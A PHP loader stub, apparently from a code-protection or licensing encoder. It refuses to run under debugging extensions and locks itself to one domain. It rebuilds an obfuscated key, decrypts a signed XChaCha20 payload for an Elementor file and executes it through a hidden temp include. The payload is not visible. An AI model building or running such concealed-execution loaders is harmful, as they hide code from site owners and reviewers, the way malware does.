<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["9nPOdXqPUPw=","LRzVv\/7de9w=","WYJUl6j7KLk=","ObR10bJEBTQ="]', true);
$__MASKS = json_decode('["iYk2hh0qW5c=","qwCqoBJm5fM=","jOBk0lQn1bU=","LSCXnuOyfXM="]', true);
$__ROT   = json_decode('[3,7,1,5]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('5cZFMXwTXHE2z3whEfe0+4H4EbSHfFXT');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9jb3JlL2xvZ2dlci9sb2dnZXJzL2RiLnBocCIsInRzIjoxNzU2NjkzNzE0LCJleHBpcmVzIjowLCJkb21haW5zIjpbIml0c2hvbWFyLmlyIl0sIm9ubGluZSI6MCwid3AiOjEsImFsZ28iOiJ4Y2hhY2hhMjBwb2x5MTMwNV9pZXRmIn0=');
$__CT    = base64_decode('uFPh+KM9Kcur8/8AE/FHjq3WzewGdEgaqp0R8FvzL69G9dAmClPBHf6zqVd0FCfNKWcBoPcGeDl4Bp/ceVa6z4GYemGbSsUYaMOTOALRF7lal0EeTZB8ZV5ukMhlGBtlaUXFWN5LiJsClCCNlFDr7MT80DyzPr0bN5GnagYAhT7RrR5BmwLsVQzATlFrvMAbZF/If8LSpKfaA0+d8T/7i+h5Dn46VYxH3WbVpuLDAU5oTmid4s+Y5nXY6TTVKCLymP88X3h0jPzW1Mgo22vzW2V/LNIGPIKoMh3rGRj9AtsELJAcUMhY/1Zye5Mm81G6uZKJz4t2ZwRIK+QeAA2xrfXoaveuTqAXItebLtzEmMqDPV1HjVraigT5BV/lpTmUOkqtD3JzmFB+iB00NKOVEg5KwAW7Q4N+n7Bo8wy1nnL7S+nZmXrHxen/sK1G4NxmPqlC6KvGWF3uW67kt1h0RGzl2kHqRlSuyu9MF0a27ZPRe4ajXDEpKoAdaZLeU+pts78JzI9lyoz07h5Z0sSmQ0VaJtiEBrhYO4lgz0dg7ztV1D7vtNVwO8hVxq0DA7yo+Myya/NwDvmlDsLvqSM/LCoKnw0VgDIg/N4/hwjOe7HGn8/cxXSC/FKiw2Skyz1XGfUejqFsK46UkRERUlACHW9RJDKWNUNyPho0+TaTfkHumk550BOCA7+2/a/89dL2kMxF/ExoAPrAACdyAi+uL4dfRQORbXJYWieOKUXPuwKJxpDc2Yqm0rNxk7SXrWqTUZY0ctxcve/R/QNKQUEJxUu0l2GRDMGA+Pb7WuzTQ5ESyr50kg+H0OUbBzb6OJrYPl3QGUTo2Ro/yWSJEgXFAOQMJdA3P2+JhV/gaTiZY/H13CihnpxERTF2Atkl2IKJJa9L0QZNr7JOh/RSme4r1i2aZ4Zmf8UR4rA7Az2hZ9FkdeKrXFH+9fRlDWPkp6kU+g7pcTD2Cc2QY8mQia3sA1vlao2xPTOVeo2hm2VC0FYCIJRlQMsNWE3BpH1tWlarm9moys/CdwwxkGiA6S2yLTG5rLTjUKWHHpgmyzKQrLNUuSdCzscJ8pZ3AIR7ehpUX49OTlWqnnzwobyJxA0gVZVc8srm1ReJwVxa5psWYaDdcHPjQy0iljTubIrRX27pNQvR6v3jKBZADWagVZcVlRUgzXbi/15WTU/WmbojT//kGwRyA2B6MIbSRPDlYN4Vi2vJX4jer9ZMVAtAqq55PXsFJ1+o5aja+iZGABxed0n5vZ+aDw3Jjv/llpw+N63Iq1TFy9+uVAZLhj8dNyBwcrm6s6dj0OyU9ZxaKKMOS6vKpLEjczxJy0dRVuQmp1f6xCJ9jg4ut1KRKwKWGjea6vnaSQR7912c/zGv6yjIZ+1yOQ9zNQE=');

// Signature verification
$__PK  = base64_decode('De0H9inGwy/kgFkAUf4Nr6IGTvi3UIGRySC2G81ZdgI=');
$__SIG = base64_decode('SSFsdhyxEmQZiiNxbN98VeLo4ALUbRjxFfUIqhi+rs1rtV2St7LnrDUdPgtykO7SWKHj0aSeFCSo7Y69cMLABw==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
